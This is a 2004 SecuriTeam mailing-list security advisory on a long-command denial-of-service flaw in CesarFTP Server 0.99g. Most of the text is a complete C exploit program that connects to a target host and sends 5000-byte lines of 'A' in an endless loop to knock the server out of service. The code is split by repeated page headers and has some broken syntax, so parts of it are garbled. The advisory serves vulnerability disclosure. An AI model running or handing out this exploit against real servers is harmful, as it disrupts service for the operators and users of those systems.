

[NT] CesarFTP Server Long Command DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0104.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/31/04

To: list@securiteam.com

Date: 31 Aug 2004 18:03:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

CesarFTP Server Long Command DoS

SUMMARY

<<http://www.aclogic.com/>> CesarFTP is "an easy-to-use and fast to configure FTP server". A vulnerability in the way the server handles long commands allows a remote attacker to cause the product to become unable to process legitimate FTP users.

DETAILS

Vulnerable Systems:

- * Cesar FTP Server version 0.99g

Exploit:

/*

*-----

*

* cesarftp.c – Cesar FTP Server Long Command DoS Exploit

*

* Copyright (C) 2000–2004 HUC All Rights Reserved.

*

* Author : lion

* : lion@cnhonker.net

* : <http://www.cnhonker.com>

Securiteam: [NT] CesarFTP Server Long Command DoS

* Date : 2004-08-30

*

*-----

*/

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <winsock2.h>
```

```
#pragma comment(lib, "ws2_32.lib")
```

```
#define BUFFSIZE 204800
```

```
#define SIZE 5000
```

```
// function
```

```
int create_socket();
```

```
int client_connect(int sockfd, char* server, int port);
```

```
int writebuf(char *s, int socket, char *buffer, int len);
```

```
int readbuf(char *s, int socket, char *buffer, int len);
```

```
int show = 1;
```

```
char recvbuf[BUFFSIZE];
```

```
char sendbuf[BUFFSIZE];
```

```
void main(int argc, char *argv[])
```

```
{
```

```
    WSADATA wsa;
```

```
    unsigned short port;
```

```
    unsigned long ip;
```

```
    SOCKET s;
```

```
    int size = SIZE;
```

```
    printf("Cesar FTP Server Long Command DoS Exploit\r\n");
```

```
    printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\r\n");
```

```
    if(argc < 3)
```

```
    {
```

```
        printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
```

```
        return;
```

```
    }
```

```
    WSStartup(MAKEWORD(2,2), &wsa);
```

```
    if((s=create_socket())==0)
```

```
    {
```

```
        printf("[+] ERROR: Create socket failed.\r\n");
```

```
        return;
```

```
    }
```

```
    if(!client_connect(s, argv[1], atoi(argv[2])))
```

Securiteam: [NT] CesarFTP Server Long Command DoS

```
    exit(-1);

    readbuf("read", s, recvbuf, BUFFSIZE);

    memset(sendbuf, 0, BUFFSIZE);
    memset(sendbuf, 'A', size);

    sendbuf[size-2] = '\r';
    sendbuf[size-1] = '\n';

    while(1)
    {
        show=1;
        writebuf("Send Buff", s, sendbuf, size);
        readbuf("read", s, recvbuf, BUFFSIZE);
        Sleep(1000);
    }

    if(s)
        closesocket(s);

    WSACleanup();
}

int create_socket()
{
    int sockfd;

    sockfd=socket(AF_INET,SOCK_STREAM,0);
    if(sockfd<0)
    {
        printf("[ - ] Create socket error.\r\n");
        return(0);
    }

    return(sockfd);
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;

    if((host=gethostbyname(server))==NULL)
    {
        printf("[ - ] ERROR: gethostbyname(%s) error\n", server);
        return(-1);
    }

    memset(&cliaddr, 0, sizeof(struct sockaddr));
```

Securiteam: [NT] CesarFTP Server Long Command DoS

```
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=((struct in_addr *)host->h_addr);
printf("[+] Trying %s:%d.....", server, port);
fflush(stdout);

if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct
sockaddr)<0)
{
    printf("FAILED!\r\n");
    closesocket(sockfd);
    return(-1);
}

printf("OK!\r\n");
return(1);
}

int writebuf(char *s,int socket,char *buffer,int len)
{
    int j;

    if(s)
    {
        printf("[+] %s.....", s);
        fflush(stdout);
    }

    j=send(socket,buffer,len,0);
    if(j<=0)
    {
        printf("FAILED!\r\n");
        exit(-1);
    }
    printf("OK!\r\n");
    return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
    int a,b,i,j=0;

    a=b=i=0;
    memset(buffer,0,len);

    if(s)
    {
        printf("[+] %s.....", s);
        fflush(stdout);
    }
}
```

Securiteam: [NT] CesarFTP Server Long Command DoS

```
j=recv(socket,buffer,len-1,0);
if(j <= 0)
{
    if(s) printf("FAILED!\n");
    printf("[-] Recv data error.\n");
    exit(-1);
}

if(s) printf("OK!\n");

buffer[len-1]='\0';

if(show==1) printf("<==\r\n%s<==\r\n",buffer);

return j;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:lion@cnhonker.net> lion.
The original article can be found at:
<<http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=64>>
<http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=64>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.